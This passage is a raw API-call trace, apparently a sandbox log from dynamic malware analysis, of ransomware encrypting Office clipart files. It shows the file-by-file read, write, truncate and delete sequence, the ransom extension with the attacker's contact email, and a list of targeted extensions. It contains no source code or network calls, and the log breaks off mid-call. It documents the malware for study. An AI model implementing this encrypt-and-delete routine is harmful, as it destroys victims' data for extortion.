| out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0261.801] WriteFile (in: hFile=0x574, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0261.802] SetEndOfFile (hFile=0x574) returned 1 [0261.802] CloseHandle (hObject=0x574) returned 1 [0261.802] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.802] SetEndOfFile (hFile=0x42c) returned 1 [0261.806] CloseHandle (hObject=0x42c) returned 1 [0261.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0261.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.809] lstrlenW (lpString=".doc") returned 4 [0261.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.809] lstrlenW (lpString=".docx") returned 5 [0261.809] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.809] lstrlenW (lpString=".pdf") returned 4 [0261.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.809] lstrlenW (lpString=".xls") returned 4 [0261.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.809] lstrlenW (lpString=".xlsx") returned 5 [0261.809] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.809] lstrlenW (lpString=".ppt") returned 4 [0261.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.809] lstrlenW (lpString=".zip") returned 4 [0261.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.809] lstrlenW (lpString=".rar") returned 4 [0261.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.810] lstrlenW (lpString=".bz2") returned 4 [0261.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.810] lstrlenW (lpString=".7z") returned 3 [0261.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.810] lstrlenW (lpString=".dbf") returned 4 [0261.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.987] lstrlenW (lpString=".1cd") returned 4 [0261.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.987] lstrlenW (lpString=".jpg") returned 4 [0261.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.987] lstrlenW (lpString=".doc") returned 4 [0261.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString=".docx") returned 5 [0261.987] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.987] lstrlenW (lpString=".pdf") returned 4 [0261.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.987] lstrlenW (lpString=".xls") returned 4 [0261.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.987] lstrlenW (lpString=".xlsx") returned 5 [0261.987] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.987] lstrlenW (lpString=".ppt") returned 4 [0261.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.988] lstrlenW (lpString=".zip") returned 4 [0261.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.988] lstrlenW (lpString=".rar") returned 4 [0261.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.988] lstrlenW (lpString=".bz2") returned 4 [0261.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.988] lstrlenW (lpString=".7z") returned 3 [0261.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.988] lstrlenW (lpString=".dbf") returned 4 [0261.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.988] lstrlenW (lpString=".1cd") returned 4 [0261.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0261.988] lstrlenW (lpString=".jpg") returned 4 [0261.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.989] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.989] lstrlenW (lpString="J0086432.WMF") returned 12 [0261.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.233] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=33434) returned 1 [0262.233] CloseHandle (hObject=0x388) returned 1 [0262.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0262.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.386] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.386] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.388] GetLastError () returned 0x0 [0262.388] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x829a, lpOverlapped=0x0) returned 1 [0262.391] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x82a0, lpOverlapped=0x0) returned 1 [0262.393] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.393] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.393] SetEndOfFile (hFile=0x42c) returned 1 [0262.394] CloseHandle (hObject=0x42c) returned 1 [0262.394] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.394] SetEndOfFile (hFile=0x4c8) returned 1 [0262.399] CloseHandle (hObject=0x4c8) returned 1 [0262.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.401] lstrlenW (lpString=".doc") returned 4 [0262.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.402] lstrlenW (lpString=".docx") returned 5 [0262.402] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.402] lstrlenW (lpString=".pdf") returned 4 [0262.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.402] lstrlenW (lpString=".xls") returned 4 [0262.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.402] lstrlenW (lpString=".xlsx") returned 5 [0262.402] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.402] lstrlenW (lpString=".ppt") returned 4 [0262.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.402] lstrlenW (lpString=".zip") returned 4 [0262.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.402] lstrlenW (lpString=".rar") returned 4 [0262.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.402] lstrlenW (lpString=".bz2") returned 4 [0262.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.402] lstrlenW (lpString=".7z") returned 3 [0262.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.402] lstrlenW (lpString=".dbf") returned 4 [0262.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.403] lstrlenW (lpString=".1cd") returned 4 [0262.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.403] lstrlenW (lpString=".jpg") returned 4 [0262.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.403] lstrlenW (lpString=".doc") returned 4 [0262.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString=".docx") returned 5 [0262.403] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.403] lstrlenW (lpString=".pdf") returned 4 [0262.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString=".xls") returned 4 [0262.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.403] lstrlenW (lpString=".xlsx") returned 5 [0262.403] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.403] lstrlenW (lpString=".ppt") returned 4 [0262.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.403] lstrlenW (lpString=".zip") returned 4 [0262.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.403] lstrlenW (lpString=".rar") returned 4 [0262.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.404] lstrlenW (lpString=".bz2") returned 4 [0262.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.404] lstrlenW (lpString=".7z") returned 3 [0262.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.404] lstrlenW (lpString=".dbf") returned 4 [0262.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.404] lstrlenW (lpString=".1cd") returned 4 [0262.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0262.404] lstrlenW (lpString=".jpg") returned 4 [0262.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.404] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.404] lstrlenW (lpString="J0090089.WMF") returned 12 [0262.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.405] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15760) returned 1 [0262.406] CloseHandle (hObject=0x4c8) returned 1 [0262.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0262.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.407] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.407] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.408] GetLastError () returned 0x0 [0262.408] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3d90, lpOverlapped=0x0) returned 1 [0262.411] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3da0, lpOverlapped=0x0) returned 1 [0262.413] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.413] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0262.413] SetEndOfFile (hFile=0x42c) returned 1 [0262.413] CloseHandle (hObject=0x42c) returned 1 [0262.413] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.413] SetEndOfFile (hFile=0x4c8) returned 1 [0262.422] CloseHandle (hObject=0x4c8) returned 1 [0262.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0262.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.928] lstrlenW (lpString=".doc") returned 4 [0262.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.928] lstrlenW (lpString=".docx") returned 5 [0262.928] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.928] lstrlenW (lpString=".pdf") returned 4 [0262.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.928] lstrlenW (lpString=".xls") returned 4 [0262.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.928] lstrlenW (lpString=".xlsx") returned 5 [0262.928] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.928] lstrlenW (lpString=".ppt") returned 4 [0262.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.928] lstrlenW (lpString=".zip") returned 4 [0262.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.928] lstrlenW (lpString=".rar") returned 4 [0262.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.928] lstrlenW (lpString=".bz2") returned 4 [0262.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.928] lstrlenW (lpString=".7z") returned 3 [0262.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.929] lstrlenW (lpString=".dbf") returned 4 [0262.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.929] lstrlenW (lpString=".1cd") returned 4 [0262.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.929] lstrlenW (lpString=".jpg") returned 4 [0262.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.929] lstrlenW (lpString=".doc") returned 4 [0262.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.929] lstrlenW (lpString=".docx") returned 5 [0262.929] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0262.930] lstrlenW (lpString=".pdf") returned 4 [0262.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.930] lstrlenW (lpString=".xls") returned 4 [0262.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.930] lstrlenW (lpString=".xlsx") returned 5 [0262.930] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0262.930] lstrlenW (lpString=".ppt") returned 4 [0262.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.930] lstrlenW (lpString=".zip") returned 4 [0262.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.930] lstrlenW (lpString=".rar") returned 4 [0262.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.930] lstrlenW (lpString=".bz2") returned 4 [0262.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.930] lstrlenW (lpString=".7z") returned 3 [0262.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.930] lstrlenW (lpString=".dbf") returned 4 [0262.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.931] lstrlenW (lpString=".1cd") returned 4 [0262.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0262.931] lstrlenW (lpString=".jpg") returned 4 [0262.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.931] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.931] lstrlenW (lpString="J0090783.WMF") returned 12 [0262.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0263.253] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6934) returned 1 [0263.253] CloseHandle (hObject=0x578) returned 1 [0263.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0263.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0263.254] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.254] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0263.255] GetLastError () returned 0x0 [0263.255] ReadFile (in: hFile=0x578, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1b16, lpOverlapped=0x0) returned 1 [0263.285] WriteFile (in: hFile=0x584, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0263.286] ReadFile (in: hFile=0x578, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.286] WriteFile (in: hFile=0x584, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.287] SetEndOfFile (hFile=0x584) returned 1 [0263.287] CloseHandle (hObject=0x584) returned 1 [0263.287] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.287] SetEndOfFile 